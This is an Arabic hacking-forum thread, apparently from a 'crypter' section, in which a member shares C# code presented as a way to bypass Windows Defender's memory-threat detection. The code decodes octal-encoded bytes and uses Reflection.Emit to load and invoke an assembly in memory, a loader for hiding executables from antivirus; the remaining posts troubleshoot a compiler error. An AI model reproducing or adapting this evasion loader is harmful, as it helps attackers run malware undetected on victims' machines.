تمت الإجابة مشكلة صادفتني اثناء التشفير ( احد مواضيع الاخ الكريم Bashar Bachir )

تم تحميل الصفحة في 0,4271431 ثانية
مشكلة صادفتني اثناء التشفير ( احد مواضيع الاخ الكريم Bashar Bachir )
الحالة
مغلق و غير مفتوح للمزيد من الردود.
إنضم
26 أكتوبر 2012
المشاركات
775
الإعجابات
678
النقاط
93
السلام عليكم
اخواني كما موضح من العنوان
رابط الموضوع للاخ بشير


طريقة تخطي النود دئما بدون اشعار بتهديد بالذاكرة "حتى لو كان الناتج يظهر تهديد بالذاكرة او حتى مكشوف سكان تايم"

C#:
using System;
using System.Reflection;
using System.Reflection.Emit;
namespace new_trick
{
   public class Program
    {
 
        [STAThread]
        public static void Main()
        {
            string[] arr = { "\\115", "\\132", "\\220", "\\000", "\\003"};
            var ss = string.Empty;
            foreach (var aa in arr)
            {
                ss += DecodeOctalString(aa) + " ";
            }
            var ba = Array.ConvertAll(ss.Remove(ss.Length - 1).Split(' '), int.Parse);
            var tb = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("Bashar"), AssemblyBuilderAccess.Run)
            .DefineDynamicModule("Bashar").DefineType("Bachir", TypeAttributes.Public);
            var gen = tb.DefineMethod("Main", MethodAttributes.Public, null, null).GetILGenerator();
            gen.Emit(OpCodes.Ldc_I4, ba.Length);
            gen.Emit(OpCodes.Newarr, typeof(byte));
            gen.Emit(OpCodes.Stloc, 0);
            for (var i = 0; i < ba.Length; i++)
            {
                gen.Emit(OpCodes.Ldloc, 0);
                gen.Emit(OpCodes.Ldc_I4, i);
                gen.Emit(OpCodes.Ldc_I4, Convert.ToInt32(ba[i].ToString()));
                gen.Emit(OpCodes.Stelem_I1);
            }
            gen.Emit(OpCodes.Ldloc, gen.DeclareLocal(typeof(byte[])));
            gen.Emit(OpCodes.Call, Type.GetType("System.Reflection.Assembly")?.GetMethod("Load", new[] { typeof(byte[]) })
            ?? throw new InvalidOperationException());
            gen.Emit(OpCodes.Callvirt, Type.GetType("System.Reflection.Assembly")?.GetProperty("EntryPoint")?.GetGetMethod()
            ?? throw new InvalidOperationException());
            gen.Emit(OpCodes.Ldnull);
            gen.Emit(OpCodes.Ldnull);
            gen.Emit(OpCodes.Callvirt, Type.GetType("System.Reflection.MethodBase")?.GetMethod("Invoke", new[] { typeof(object), typeof(object[]) })
            ?? throw new InvalidOperationException());
            gen.Emit(OpCodes.Pop);
            gen.Emit(OpCodes.Ret);
            tb.CreateType().GetMethod("Main")?.Invoke(Activator.CreateInstance(tb.CreateType()), null);
        }
        public static byte DecodeOctalString(string octalValue)
        {
    return (byte)((int.Parse(octalValue.Substring(1, 1)) << 6) | (int.Parse(octalValue.Substring(2, 1)) << 3) | int.Parse(octalValue.Substring(3, 1)));
        }
    }
}
صورة للمشكلة
 
إنضم
8 سبتمبر 2013
المشاركات
7,965
الإعجابات
11,890
النقاط
168
الإقامة
Live.IQ(JO => JO.AMMAN)
نسخت الكود و عملت بناء .. تم بدون مشاكل

على كل حال جرب انشئ كلاس جديد و احذف كل محتواه و الصق سورس باشر فيه ... و اذا استمر الخطأ تحذف هذه
throw new InvalidOperationException() ؟؟

و جرب فريم وورك اعلى
 
إنضم
26 أكتوبر 2012
المشاركات
775
الإعجابات
678
النقاط
93
نفس المشكلة اخي عمار
وعند الحذف تظهر اخطاء اخرى
-------------------
عند ارجاعها كما كانت يظهر
Error CS1525 Invalid expression term 'throw'
 
إنضم
8 سبتمبر 2013
المشاركات
7,965
الإعجابات
11,890
النقاط
168
الإقامة
Live.IQ(JO => JO.AMMAN)
نفس المشكلة اخي عمار
وعند الحذف تظهر اخطاء اخرى
-------------------
عند ارجاعها كما كانت يظهر
Error CS1525 Invalid expression term 'throw'
دقيقة اعمل مشروع جديد و ارفعه لك .. ♥
 
إنضم
26 أكتوبر 2012
المشاركات
775
الإعجابات
678
النقاط
93
تسلم يا بن الحلال
جاري المشاهدة والتطبيق ولي عودة
انا عامل نفس الاعدادات وكل شيء تمام
والله نفس المشكل اخي عمار
لا ادري ما السبب ربما اختلاف اصدار الفيجوال باسيك
للعلم انا استعمل الاصدار 2015
لو انك ترفع المشروع
 
إنضم
26 أكتوبر 2012
المشاركات
775
الإعجابات
678
النقاط
93
انا عامل نفس الاعدادات وكل شيء تمام
والله نفس المشكل اخي عمار
لا ادري ما السبب ربما اختلاف اصدار الفيجوال باسيك
للعلم انا استعمل الاصدار 2015
لو انك ترفع المشروع
 
إنضم
8 سبتمبر 2013
المشاركات
7,965
الإعجابات
11,890
النقاط
168
الإقامة
Live.IQ(JO => JO.AMMAN)
انا عامل نفس الاعدادات وكل شيء تمام
والله نفس المشكل اخي عمار
لا ادري ما السبب ربما اختلاف اصدار الفيجوال باسيك
للعلم انا استعمل الاصدار 2015
لو انك ترفع المشروع
تم ارسال المشروع من خلال الرسائل الخاصة .. اتمنى ان ينفعك
 

Hac Tool

مُشرف أقسام التشفير
rankrankrank
إنضم
10 أكتوبر 2016
المشاركات
538
الإعجابات
547
النقاط
93
العمر
29
مشكلة في اصدار الفجيول بيسك اخ بشار يستخدم اصدار 2017 فيه ميزات لاتوجد في اصدر اخيرين يمكنك احذف اخطاء ويشتغل كود بدون مشاكل عن تجربة
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل